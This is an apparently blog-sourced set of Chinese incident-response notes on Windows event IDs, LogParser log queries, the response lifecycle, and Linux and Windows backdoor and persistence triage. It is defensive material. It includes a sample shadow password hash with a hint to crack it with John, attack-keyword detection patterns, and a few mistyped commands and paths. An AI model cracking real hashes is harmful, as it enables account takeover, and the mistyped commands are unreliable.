/format:csv\t2. 以csv格式显示进程的名称、父进程ID、进程ID wmic process get name,parentprocessid,processid /format:csv 文件痕迹排查123456789101112131. 敏感目录\t1. 各个盘符的tmp/temp相关目录 恶意程序投放的文件一般都会在路径相对统一的文件夹下,而临时目录相对统一\t2. 浏览器记录:人工入侵事件,入侵者会下载后续入侵的相关工具\t3. Recent文件 位置:Everything全盘搜索即可 Recent文件主要存储了最近运行文件的快捷方式,可通过分析最近运行的文件,排查可疑文件\t4. Prefetch预读取文件夹 位置:%SystemRoot%\\Prefetch\\ 用来存放系统已访问过的文件的预读取信息,扩展名位pf\t5. Amcache.hve文件可以查询应用程序的执行路径、上次执行的时间以及SHA1值2. 时间查找\t1. 简介:安全事件发生后,需要确认事件发生的时间点,然后排查时间点前后文件变动情况,缩小排查范围\t2. 列出攻击日期内新增的文件,从而发现相关的恶意软件 1. forfiles命令查找对应条件的文件 2. 使用everything对该时间段的文件进行排查\t3. 对文件的创建时间、修改时间、访问时间进行排查 查看文件属性,查看创建时间和修改时间是否存在逻辑上的问题,如果存在则该文件需要重点排查3. webshell使用D盾、HwsKill、WebShellKill等webshell扫描工具进行扫描 0x02 Windows日志及工具Windows日志介绍依赖的服务:EventLog服务 位置: Windows 2000 / Server2003 / Windows XP :%SystemRoot%\\System32\\Config\\*.evtx Windows Vista / 7 / 10 / Server2008 及以上版本: %SystemRoot%\\System32\\Winevt\\Logs\\*.evtx Windows日志分类 类型 描述 系统日志(System.evtx) 系统日志包含由Windows系统组件记录的事件,记录系统进程和设备 驱动程序的活动。由它审核的系统事件包括启动失败的设备驱动程序、硬件错误、重复的IP地址 以及服务启动、暂停和停止。 应用程序日志(Application.evtx) 记录程序在运行过程中的日志信息。 安全日志(Security.evtx) 安全日志记录各种系统审核和安全处理,包括用户权限的变化、文件 和目录的访问、打印以及用户系统登陆和注销,如有效或无效的登陆尝试、与资源使用有关的事 件。管理员有按需要指定安全日志中要记录的事件类型。 系统日志 简介:主要指Windows系统中的各个组件在运行中产生的各种事件 系统驱动在运行中出现的问题 操作系统的多种组件在运行中出现的各种问题 应用软件在运行中出现的重大问题 问题包括:数据丢失、错误,以及系统崩溃行为 Windows2000-WindowsServer2003:C:\\WINDOWS\\System32\\config\\SysEvent.evt WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\\System32\\Winevt\\Logs\\System.evt 1234# 分析方法:a. 前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等.b. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器".C. 导出应用程序日志、安全日志、系统日志,利用LogParser进行分析. 安全日志 简介:记录系统各种安全事件 各种登录与退出系统的成功或不成功的信息 对系统中各种重要资源的操作,如对系统文件的创建、删除、修改等操作 Windows2000-WindowsServer2003:C:\\WINDOWS\\System32\\config\\SecEvent.evt WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\\System32\\Winevt\\Logs\\Security.evt 应用程序日志 简介:各类应用程序产生的各类事件:登录、退出等日志 Windows2000-WindowsServer2003:C:\\WINDOWS\\System32\\config\\AppEvent.evt WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\\System32\\Winevt\\Logs\\Application.evt 123456789101112131415161718192021还需要注意DHCP以及Bits-Client得相关日志事件ID1. 应急常见ID\t1. 4624 成功登录 安全日志\t2. 4625 登录失败 安全日志\t3. 4776 成功/失败的账户认证 安全日志\t4. 4720 创建用户 安全日志\t5. 4732 添加用户到启用安全性的本地组中 安全日志\t6. 4728 添加用户到启用安全性的全剧组中 安全日志\t7. 7030 服务创建错误 系统日志\t8. 7040 IPSEC服务的启动类型已从禁用更改为自动启动 系统日志\t9. 7045 服务创建 系统日志2. 登录相关日志\t1. 4624 用户登录成功\t2. 4625 用户登录失败 (解锁屏幕不会产生这个日志)\t3. 4672 特权用户登录 administrator登录4624和4672日志一起出现\t4. 4648 显示凭证登录3. 启动事件日志\t1. 1074 关机初始化失败 警告日志 User32\t2. 13 关机日志 信息日志 系统日志\t3. 12 启动日志 信息日志 系统日志 在默认情况下, Windows日志仅仅记录一些特定日志,因为Windows日志中每种日志的大小默认为 20M,超过大小之后会覆盖最早的日志记录。如果我们需要记录详细的安全日志,则需要通过修改本地策略或者在高级审核策略配置中来启用其他项的日志记录功能。 Windows事件ID审核策略更改 此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核策略更改 审核审核策略更改 成功 策略更改 审核身份验证策略更改 成功 策略更改 审核授权策略更改 无审核 策略更改 审核筛选平台策略更改 无审核 策略更改 审核 MPSSVC 规则级策略更改 无审核 策略更改 审核其他策略更改事件 无审核 策略更改 子类别 默认状态 事件ID 事件说明 审核审核策略更改 成功 4715 对象的审核策略 (SACL) 已更改. 成功 4719 系统审核策略已更改. 成功 4817 对象的审核设置已更改. 成功 4902 创建了每用户审核策略表. 成功 4904 已尝试注册安全事件源. 成功 4905 已尝试取消注册安全事件源. 成功 4906 CrashOnAuditFail 值已更改. 成功 4907 对象的审核设置已更改. 成功 4908 特殊组登录表已修改. 成功 4912 每用户审核策略已更改. 审核身份验证策略更改 成功 4713 Kerberos 策略已更改. 成功 4716 可信域信息已修改. 成功 4717 系统安全访问被授予一个帐户. 成功 4718 系统安全访问权限已从帐户中删除 成功 4739 域策略已更改. 成功 4864 检测到命名空间冲突. 成功 4865 添加了受信任的林信息条目. 成功 4866 删除了受信任的林信息条目. 成功 4867 受信任的林信息条目已修改. 审核登录事件 此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核登录事件 审核账户锁定 成功 登录/注销 审核 IPsec 扩展模式 无审核 登录/注销 审核 IPsec 主模式 无审核 登录/注销 审核 IPsec 快速模式 无审核 登录/注销 审核注销 成功 登录/注销 审核登录 客户端:成功服务器:成功和失败 登录/注销 审核网络策略服务器 成功和失败 登录/注销 审核其他登录/注销事件 无审核 登录/注销 审核特别登录 成功 登录/注销 子类别 默认状态 事件ID 事件说明 审核账户锁定 成功 4625 帐户登录失败. 审核注销 成功 4634 帐户已注销. 审核注销 成功 4647 用户发起的注销. 审核登录 客户端PC: 成功服务器: 成功和失败 4624 帐户登录成功. 4625 帐户登录失败. 4648 尝试使用显式凭据登录. 4675 SID 被过滤. 审核网络策略服务器 成功和失败 网络策略服务器授予用户访问权限. 6273 网络策略服务器拒绝访问用户. 6274 网络策略服务器放弃了对用户的请求. 6275 网络策略服务器丢弃了用户的计费请求. 6276 网络策略服务器隔离了一个用户. 6277 网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态. 6278 网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略. 6279 由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户. 6280 网络策略服务器解锁了用户帐户. 审核特别登录 成功 4964 已将特殊组分配给新登录 登录类型 描述 说明 2 交互式登录(Interactive) 用户在本地进行登录. 3 网络(Network) 最常见的情况就是连接到共享文件夹或共享打印机时. 4 批处理(Batch) 通常表明某计划任 务启动. 5 服务(Service) 每种服务都被配置 在某个特定的用户 账号下运行. 7 解锁(Unlock) 屏保解锁. 8 网络明文(NetworkCleartext) 登录的密码在网络 上是通过明文传输 的,如FTP. 9 新凭证(NewCredentials) 使用带/Netonly参数 的RUNAS命令运行一 个程序. 10 远程交互(RemoteInteractive) 通过终端服务、远程桌面或远程协助访问计算机. 11 缓存交互(CachedInteractive) 以一个域用户登录而又没有域控制器可用 地位和子状态码 描述 0xc0000064 用户名不存在 0xc000006a 用户名是正确的,但密码是错误的 0xc0000234 用户当前锁定 0xc0000072 帐户目前禁用 0xc000006f 用户试图登录天的外周或时间限制 0xc0000070 工作站的限制 0xc0000193 帐号过期 0xc0000071 过期的密码 0xc0000133 时钟之间的直流和其他电脑太不同步 0xc0000224 在下次登录用户需要更改密码 0xc0000225 显然一个缺陷在Windows和不是一个风险 0xc000015b 没有被授予该用户请求登录类型(又名登录 正确的)在这台机器 0xc000006d 似乎是由于系统问题和不安全 审核账户管理 此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括: 创建、更改或删除用户帐户或组. 重命名、禁用或启用用户帐户. 设置或更改密码. 类别 子类别 默认状态 对应本地审核策略 帐户管理 审核应用组程序管理 无审核 审核账户管理 审核计算机帐户管理 无审核 审核通讯组管理 无审核 审核其他账户管理事件 无审核 审核安全组管理 成功 审核用户账户管理 成功 子类别 默认状态 事件ID 事件 审核安全组管理 成功 4727 已创建启用安全性的全局组. 4728 一个成员被添加到启用安全的全局组中. 4729 成员已从启用安全的全局组中删除. 4730 已删除启用安全的全局组. 4731 已创建启用安全性的本地组. 4732 一个成员被添加到启用安全的本地组. 4733 成员已从启用安全的本地组中删除. 4734 已删除启用安全的本地组. 4735 已更改启用安全的本地组. 4737 已更改启用安全的全局组. 4754 已创建启用安全的通用组. 4755 已更改启用安全的通用组. 4756 一个成员被添加到启用安全的通用组. 4757 成员已从启用安全的通用组中删除. 4758 已删除启用安全的通用组. 4764 组的类型已更改. 审核用户账户管理 成功 4720 已创建用户帐户. 4722 已启用用户帐户. 4723 试图更改帐户的密码. 4724 已尝试重置帐户密码. 4725 用户帐户被禁用. 4726 用户帐户被删除. 4738 用户帐户已更改. 4740 用户帐户被锁定. 4765 SID 历史记录已添加到帐户 4766 尝试向帐户添加 SID 历史记录失败. 4767 用户帐户已解锁. 4780 ACL 是在作为管理员组成员的帐户上设置的. 4781 帐户名称已更改: 4794 已尝试设置目录服务还原模式. 5376 凭据管理器凭据已备份. 5377 凭据管理器凭据是从备份中恢复的. 远程登录事件当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。 安全日志(Security.evtx) 事件ID 描述 重点说明 4624 账户成功登录 表明有账户成功通过RDP登录 4648 使用明文凭证尝试登录 可能表明凭证被窃取或滥用 4778 重新连接到一台Windows主机的会话 表明会话被重新连接 4779 断开到一台Windows主机的会话 表明会话被断开 远程连接日志应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational 事件ID 描述 重点说明 1149 用户认证成功 表明用户通过RDP认证成功 21 远程桌面服务:会话登录成功 表明RDP会话登录成功 24 远程桌面服务:会话已断开连接 表明RDP会话被断开 25 远程桌面服务:会话重新连接成功 表明RDP会话被重新连接 登录类型 登录类型 描述 重点说明 10 RemoteInteractive 专用于RDP登录 12 CachedRemoteInteractive 表明使用了缓存的RDP登录信息 Log Parser123456789101112131415161718192021222324252627282930# 图形化# 默认安装到C:\\Program Files (x86)\\Log Parser 2.2# 将日志拷贝出来在进行操作LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM C:\\Users\\Administrator\\Desktop\\Security.evtx"# 分析IIS日志LogParser.exe "select time, c-ip,cs-uri-stem,cs-uri-query, sc-status, time-taken from C:\\Users\\Administrator\\Desktop\\ex170818.log where cs-uri-query like '%and%' " -o:datagrid#常见字段有 time: 请求的时间戳,通常以 YYYY-MM-DD HH:MM:SS 格式记录。c-ip: 客户端IP地址(Client IP)。cs-uri-stem: 请求的URI路径(即请求的资源)。sc-status: 服务器返回的状态码(如200表示成功,404表示未找到等)。time-taken: 请求处理所花费的时间(以毫秒为单位)。cs-method: 请求方法(如GET、POST)。cs-uri-query: 请求的查询字符串。cs(User-Agent): 客户端的用户代理字符串(即浏览器类型)。cs(Referer): 请求的来源页面。sc-bytes: 服务器发送的字节数。cs-bytes: 客户端发送的字节数。s-computername: 服务器计算机名称。s-ip: 服务器IP地址。s-port: 服务器端口号。# 使用SQL语句统计实现我们需要的数据。LogParser.exe -i:IISW3C -o:DATAGRID "SELECT c-ip,COUNT(c-ip) FROM C:\\Users\\Administrator\\Desktop\\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC"# 将结果数据导出到csv中LogParser.exe -i:IISW3C -o:csv "SELECT c-ip,COUNT(c-ip) into 1.csv FROM C:\\Users\\Administrator\\Desktop\\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC" 12345# 在入侵事件中,我们经常会需要查找"post"请求,判断是否有上传木马文件等行为,或者访问页面中包含"user"、"manager"、"admin"等类似管理员的字段判断是否访问了后台管理页面。LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\\Users\\Administrator\\Desktop\\ex170818.log WHERE cs-method='POST'"LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\\Users\\Administrator\\Desktop\\ex170818.log WHERE cs-uri-stem LIKE '%admin%'" LogParser Studio官网 打开需要分析的日志文件 选中需要分析的日志文件,接着新建一个查询 我们还是以刚才统计出访问次数最多的IP地址及次数为例子 SELECT top 10 c-ip,count(c-ip) FROM '[LOGFILEPATH]' GROUP BY c-ip ORDER BY COUNT(c-iP) DESC 然后点击我们的执行按钮,即可输出结果 这里注意LogParser Studio与LogParser有几个区别: 输入文件类型:LogParser Studio已经预先选择输入文件类型,查询语句不需要再定义 输出文件类型:LogParser Studio默认使用窗口展示数据,如需指定其他输出文件类型或者导出文件,需要在语句中定义 也可将我们自定义的SQL语句,保存加入到库中,方便下次使用 也可点击相应的按钮将查询统计的数据导出。","tags":["应急响应","Windows"]},{"title":"应急响应-前菜","path":"/2024/07/03/ac635236/","content":"总字符数: 27.68K 代码: 9.10K, 文本: 7.71K 预计阅读时间: 1.22 小时 什么是应急响应应急响应 应急响应(Incident Response/Emergency Response): 通常是指一个组织为了应对各种意外事件的发生所做的准备工作以及在突发事件发生时或者发生后所采取的措施 计算机网络应急响应的对象是指计算机或网络所存储、传输、处理的信息的安全事件,事件的主体可能来自自然界、系统自身故障(这里的系统包括主机范畴内的问题,也包括网络范畴内的问题)、组织内部或外部的人、计算机病毒或蠕虫等 应急处置 启动应急响应计划后,应立即采取相关措施抑制信息安全事件影响,避免造成更大损失.在确定有效控制了信息安全事件影响后,开始实施恢复操作.恢复阶段的行动集中于建立临时业务处理能力、修复原系统的损害、在原系统或新设施中恢复运行业务能力等应急措施. 信息安全应急响应计划规范GB/T 24363-2009 应急响应生命周期(PDCERF) 检测预防为主 微观帮助服务对象建立安全政策帮助服务对象按照安全政策配置安全设备和软件 扫描,风险分析,打补丁 如有条件且得到许可,建立监控设施宏观建立协作体系和应急制度建立信息沟通渠道和通报机制电话、即时通讯、email如有条件,建立数据汇总分析的体系和能力 有关法律法规的制定制定应急响应计划应急经费筹集人力资源指挥调度人员、协作人员技术人员、专家设备、系统和服务提供商硬件设备准备数据保护设备(磁盘、SAN)、冗余设备 (网络链路、网络设备、关键计算机设备软件工具准备备份软件、日志处理软件系统软件、应急启动盘病毒、恶意软件查杀软件现场备份业务连续性保障系统容灾、搭建临时业务系统 准备微观(负责具体网络的CERT)-确定事件性质和处理人确定事件的责任人:指定一个责任人全权处理,事件,给予必要的资源确定事件的性质: 误会?玩笑?还是恶意的攻击/入侵? 影响的严重程度, 预计采用什么样的专用资源来修复?宏观(负责总体网络的CERT)通过汇总,确定是否发生了全网的大规模事件确定应急等级,以决定启动哪一级应急方案事故的标志(征兆和预兆)Web服务器崩溃用户抱怨主机连接网络速度过慢子邮件管理员可以看到大批的反弹电子邮件与可疑内容网络管理员通告了一个不寻常的偏离典型的网络流量流向来源网络和主机IDS 、防病毒软件、文件完整性检查软件、系统、网络、蜜罐日志公开可利用的信息、第三方监视服务确认事故确认网络和系统轮廓: 分析事故的最好技术方法之一理解正常的行为: 基于处理事故的良好准备使用集中的日志管理并创建日志保留策略执行事件关联保持所有主机时钟同步维护和使用信息知识库: 分析事故时的快速参考使用互联网搜索引擎进行研究运行包嗅探器以搜集更多的数据过滤数据经验是不可替代的建立诊断矩阵寻求帮助诊断矩阵实例征兆拒绝服务恶意代码非授权访问不正确使用文件,关键,访问尝试低中高低文件,不适当的内容低中低高主机崩溃中中中低端口扫码,输入的, 不正常的高低中低端口扫码,输出的, 不正常的低高中低利用带宽高高中低中利用电子邮件中高中中 遏制即时采取的行动 微观防止进一步的损失,确定后果初步分析,重点是确定适当的封锁方法咨询安全政策确定进一步操作的风险损失最小化(最快最简单的方式恢复系统的基本功能,例如备机启动)可列出若干选项,讲明各自的风险,由服务对象选择宏观确保封锁方法对各网业务影响最小通过协调争取各网一致行动,实施隔离汇总数据,估算损失和隔离效果建议组织机构为几类主要的事故建立单独的遏制策略其标准包括:潜在的破坏和资源的窃取证据保留的需要服务可用性(例如:网络连接,提供给外部当事方的服务)实施战略需要的时间和资源战略的有效性(例如:部分遏制事故,完全遏制事故)解决方案的期限(例如:紧急事故工作区需在4 小时内清除,临时工作区需在两周内清除,永久的解决方案)。 根除长期的补救措施 微观详细分析,确定原因,定义征兆分析漏洞加强防范消除原因修改安全政策宏观加强宣传,公布危害性和解决办法,呼吁用户解决终端的问题;加强检测工作,发现和清理行业与重点部门的问题 恢复微观被攻击的系统恢复正常的工作状态作一个新的备份把所有安全上的变更作备份服务重新上线持续监控宏观持续汇总分析,了解各网的运行情况根据各网的运行情况判断隔离措施的有效性通过汇总分析的结果判断仍然受影响的终端的规模发现重要用户及时通报解决适当的时候解除封锁措施 跟踪跟踪关注系统恢复以后的安全状况,特别是曾经出问题的地方建立跟踪文档,规范记录跟踪结果对响应效果给出评估对进入司法程序的事件,进行进一步的调查,打击违法犯罪活动事件的归档与统计处理人、时间和时段、地点工作量、事件的类型、对事件的处置情况代价、细节 应急响应思路流程1、收集信息在赶往出事地点的路上以及还没有接触到具体业务时,要提前向客户询问清楚事件情况,如发现时间以及大致发生时间、事件造成的破坏、受害主机情况(如系统、版本、内外网)、客户的具体处置要求 2、事件预定性在初步了解情况后先做一个事件性质预判,判断下这个事件是个什么事件,是勒索还是挖矿还是其他事件。然后根据事件发生时间划定一个时间范围,重点排查这个时间段内的情况,从影响范围中确认一个排查范围。 3、取证分析取证并非毫无头绪的,病毒本身必然有网络行为,内存必然有其二进制代码,它要么是单独的进程模块,要么是进程的dll/so模块,通常,为了保活,它极可能还有自己的启动项、网络心跳包。 可以归结为如下4点要素:流量、内存、模块、启动项。 流量分析可以使用Wireshark,主要分析下当前主机访问了哪些域名、URL、服务,或者有哪些外网IP在访问本地主机的哪些端口、服务和目录,又使用了何种协议等等。 取证注意事项保护 12345保证数据的安全性:制作磁盘映像——不在原始磁盘上操作保证数据完整性:取证中不使用可能破坏完整性的操作第三方监督:所有操作都有第三方在场监督 提取 12345优先提取易消失的证据:内存信息、系统进程、网络连接信息、路由信息、临时文件、缓存等文件系统:数据恢复、隐藏文件、加密文件、回收站、注册表、系统日志等应用系统:系统日志、中间件日志 分析 123证据在什么地方:日志、删除的文件、临时文件、缓存从证据中能发现什么?如何关联证据? 4、定向分析二次定性后,我们基本已经真正掌握了事件情况,这时就可以进行各种分析,对各种情况利用各种工具快速分析 应急响应信息收集表 感染主机数 感染了多数台主机 补丁情况 打了哪些补丁,是否存在补丁漏打 中毒现象 勒索/挖矿/DoS/僵尸网络/后门/木马 客户名称 什么区域的什么客户 帐号密码 确认是否有弱密码 对外开发端口 对外开发了哪些端口 开启的服务 开启了哪些服务 操作系统版本 操作系统版本信息 客户需求 确认客户具体需求 响应流程 事件发生运维监控人员、客服审核人员等发现问题,向上通报。 事件确认收集事件信息、分析网络活动相关程序,日志和数据,判断事件的严重性,评估出问题的严重等级,是否向上进行汇报等。 事件响应各部门通力合作,处理安全问题,具体解决问题,避免存在漏洞未修补、后门未清除等残留问题。 事件关闭处理完事件之后,需要关闭事件,并写出安全应急处理分析报告,完成整个应急过程。 分析方向文件分析 基于变化的分析 123日期文件增改最近使用文件 源码分析 12检查源码改动查杀WebShell等后门 系统日志分析 应用日志分析 123分析User-Agent,e.g. awvs / burpsuite / w3af / nessus / openvas对每种攻击进行关键字匹配, e.g. select/alert/eval异常请求,连续的404-目录扫描、302-暴力破解、500等 md5sum 检查常用命令二进制文件的哈希,检查是否被植入rootkit 进程分析 符合以下特征的进程 1234CPU或内存资源占用长时间过高没有签名验证信息没有描述信息的进程进程的路径不合法 dump系统内存进行分析 正在运行的进程 正在运行的服务 父进程和子进程 后台可执行文件的完整哈希 已安装的应用程序 运行着密钥或其他正在自动运行的持久化程序 计划任务 身份信息分析 本地以及域账号用户 异常的身份验证 非标准格式的用户名 日志分析 杀软检测记录 系统日志 中间件日志 网络分析 监听端口和相关服务 最近建立的网络连接 RDP / VPN / SSH 等会话 防火墙配置 DNS配置 路由配置 配置分析 查看配套的注册表信息检索,SAM文件 查看环境变量 查看Linux SE等配置 内核模块 Linux应急响应 文件分析 最近使用文件 1find / -ctime -2 系统日志分析 12/var/log/more /etc/rsyslog.conf # 查看日志配置情况 重点分析位置 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051# 日志级别debug # 系统调试信息info # 常规信息warning # 警告信息err # 报错(级别低,阻止了某个功能能不能正常工作)crit # 报错(级别高,阻止了某个软件或整个系统不能正常工作)alert # 需要立即修改的信息emerg # 内核崩溃none # 不采集任何日志信息# 注意:从上到下,级别从低到高,记录的信息越来越少# 必看日志:secure、Messages、wtmp/etc/passwd # 用户列表/etc/init.d/ # 开机启动项/etc/cron* # 定时任务/tmp # 临时目录~/.ssh/var/log/messages # 包括整体系统信息,其中也包含系统启动期间的日志.此外,mail,cron,daemon,kern和auth等内容也记录在var/log/messages日志中/var/log/dmesg # 包含内核缓冲信息(kernel ring buffer).在系统启动时,会在屏幕上显示许多与硬件有关的信息.可以用dmesg查看它们/var/log/auth.log # 包含系统授权信息,包括用户登录和使用的权限机制等/var/10g/boot.log # 包含系统启动时的日志/var/log/daemon.log # 包含各种系统后台守护进程日志信息/var/log/dpkg.log # 包括安装或dpkg命令清除软件包的日志/var/log/kern.log # 包含内核产生的日志,有助于在定制内核时解决问题/var/log/lastlog # 记录所有用户的最近信息.这不是一个ASCII文件,因此需要用lastlog命令查看内容/var/log/maillog/var/log/mai1.log # 包含来自系统运行电子邮件服务器的日志信息.例如:sendmail日志信息就全部送到这个文件中/var/log/user.log # 记录所有等级用户信息的日志/var/log/Xorg.x.log # 来自X的日志信息/var/log/alternatives.log # 更新替代信息都记录在这个文件中/var/log/btmp # 记录所有失败登录信息.使用last命令可以查看btmp文件.例如:last -f /var/log/btmp more/var/log/cups # 涉及所有打印信息的日志。/var/log/anaconda.log # 在安装Linux时,所有安装信息都储存在这个文件中/var/log/yum.log # 包含使用yum安装的软件包信息/var/log/cron # 每当cron进程开始一个工作时,就会将相关信息记录在这个文件中/var/log/secure # 包含验证和授权方面信息.例如:sshd 会将所有信息记录(其中包括失败登录)在这里/var/log/wtmp/var/log/utmp # 包含登录信息.使用wtmp可以找出谁正在登陆进入系统,谁使用命令显示这个文件或信息等/var/log/faillog # 包含用户登录失败信息.此外,错误登录命令也会记录在本文件中# 除了上述Log文件以外,vār/log还基于系统的具体应用包含以下一些子目录:/var/log/httpd/或/var/log/apache2 # 包含服务器access_log和error_log信息/var/log/lighttpd/ # 包含light HTTPD的access_log和error_log/var/log/mail/ # 这个子目录包含邮件服务器的额外日志/var/log/prelink/ # 包含.so文件被prelink修改的信息/var/log/audit/ # 包含被Linux audit daemon储存的信息/var/log/samba/ # 包含由samba存储的信息/var/log/sa/ # 包含每日由sysstat软件包收集的sar文件/var/log/sssd/ # 用于守护进程安全服务 用户分析 /etc/shadow 密码登陆相关信息 123root:$6$szBCA0J1J6UfTeGi$VpIsYVHoULUix8Q.ifya2Qjsf1zLkn0CMvvZqFAyfFvB9u/K7uk6pu4u1yN/P72Jim9tjDN1dMiSsrDRrOJQ..:19240:0:99999:7:::用户名:密码:密码上次修改时间:允许修改密码最短时间:允许修改密码最长时间:密码过期前提醒用户修改密码的时间# 可以用john碰撞解密 uptime 查看用户登陆时间 /etc/passwd 用户基本信息 12root:x:0:0:root:/root:/bin/bash用户名:密码:用户id:组id:用户说明:家目录:登录之后的shell /etc/sudoers sudo用户列表 后门账号排查1234567891011121314# uid为0即是超级用户权限账号awk -F: '{IF($3==0)PRINT $1}' /etc/passwd# 最小权限more /etc/sudoers | grep -v "^#\\|^$" | grep "ALL=(ALL)"# 检查是否有可登录的后门账号awk '/\\$1|\\$6/{print $1}' /etc/shadowcat /etc/passwd | grep -E "/bin/bash$"# last 用于显示用户最近登录信息 # 登录排查攻击者登录账号和时间last# lastb 显示用户错误的登录列表lastb# lastlog 显示所有用户上次登录信息lastlog 进程分析进程也可以在/proc下面找到,Linux一切皆文件 netstat -antlp|more 查看是否打开了可疑端口 w 命令,查看用户及其进程 分析开机自启程序/脚本 12/etc/init.d~/.bashrc 查看计划或定时任务 1crontab -l lsof 12lsof -i: PORTlsof -p PID ps/pstree 1234# 查找进程ps -aux|grep java# 查看进程的子进程ps -efl | grep java 通信分析 iptablesLinux平台下的包过滤防火墙,具有封包过滤、封包重定向和网络地址转换(NAT)等功能 表 链 filter INPUT,FORWARD,OUTPUT nat PREROUTING,OUTPUT,POSTROUTING mangle PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING raw PREROUTING,OUTPUT 动作 含义 ACCEPT 允许数据包通过 DROP 直接丢弃数据包,不会给数据端发送响应 REJECT 拒绝数据包,必要时会给数据端发送响应 SNAT 源地址转换,解决内网用户公用一个公网地址 MASQUERADE SNAT的特殊形式,适用于动态IP REDIRECT 在本机做端口映射 123456# 192.168.10.0/24 可接受,但192.168.10.10丢弃iptables -A INPUT -i eth0 -s 192.168.10.0/24 -j ACCEPTiptables -A INPUT -i eth0 -s 192.168.10.10 -j DROPiptables -nL --line-number | grep 192.168.10iptables -L -t nat# 重点注意:红队常用nat FireWalld Linux-FireWalld 木马排查实战流程 内存马查杀 visualvm 适用于servlet或filter框架组件内存马(JDK1.8以上,bin文件下)自带 https://visualvm.github.io/https://visualvm.github.io/ arthas 适用于servlet或filter框架组件内存马是阿里巴巴开源的Java诊断工具 copagent 适用于servlet,filter,listenter框架组件内存马 Windows应急响应 实施具体操作在简单做完定向分析并取证后,如果客户直接把系统重置了就不需要下一步了,如果客户要求从头到尾把系统排查一下那么就利用工具和手法进行排查。 对账户、进程、端口、服务、启动项、计划任务、文件、日志进行逐个检测, 系统信息 systeminfo查看补丁是否齐全,是否存在ms08-067相关漏洞 工具: 文件分析 相关目录 下载目录 回收站文件 Temp History 应用程序打开历史 搜索历史 Lnk 驱动:(cmd>Drivequery)日期 进程dll关联查询(tasklist -m) 共享文件(cmd>Net share) 最近的文件(资源管理器>%UserProfile%\\Recent) 文件更新 已安装文件,控制面板或者(regedit>\\software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\) 最近使用文件 123C:\\Documents and Settings\\Administrator\\RecentC:\\Documents and Settings\\Default User\\Recent%UserProfile%\\Recent 后门查杀 1234567891011121314# 启动项HKEY_LOCAL_MACHINE\\SOFTWARE\\Microft\\windows\\currentversion\\run# 用户登录HKCU\\EnvironmentHKLM\\SOFTWARE\\Microft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit# 定时任务/计划任务1. 单击[开始]>[设置]>[控制面板]>[任务计划],查看计划任务属性,便可以发现木马文件的路径2. 单击[开始]>[运行];输入cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接# 服务自启动1. 单击[开始]>[运行],输入services.msc,注意服务状态和启动类型,检查是否有异常服务# dll劫持HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Control\\SessionManager\\ExcludeFromKnownDlls# COM劫持%APPDATA%\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\ 程序运行记录使用WinPrefetchView解析Prefetch文件夹中的.pf文件取证。 用户分析 查看是否有新增用户 查看服务器是否有弱口令 查看管理员对应键值 lusrmgr.msc 查看账户变化 net user 列出当前登录账户 wmic UserAccount get 列出当前系统所有账户 PChunter、D盾 进程分析 netstat -ano 查看是否打开了可疑端口 tasklist 查看是否有可疑进程 分析开机自启程序 123456789101112HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunonceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce(ProfilePath)\\Start Menu\\Programs\\Startup 启动项msconfig 启动选项卡gpedit.msc 组策略编辑器 查看计划或定时任务 123456C:\\Windows\\System32\\Tasks\\C:\\Windows\\SysWOW64\\Tasks\\C:\\Windows\\tasks\\schtaskstaskschd.msccompmgmt.msc 查看启动服务 1services.msc 主要注意点大致就是:没有厂商名字、没有签名验证信息、没有描述信息的可疑进程。还有典型的挖矿现象(CPU 或内存资源占用长时间过高)的进程。 Pchunter:黑色为微软官方进程,蓝色为外界安装软件进程,红色为可疑进程,同时注意进程参数 process Explorer:进程浏览器。界面功能从左到右为:Process进程、CPU占比、Private Bytes提交大小、Working Set(工作设置、内存)、PID、Description描述、Company Name公司名。 小技巧:被注入的进程属性里会多出.NET Assemblies 和 .NET Performance两个菜单 日志分析 事件查看 1eventvwr.msc 系统日志 123456789# 日志路径C:\\Windows\\System32\\winevt\\LogsC:\\windows\\Minidump# 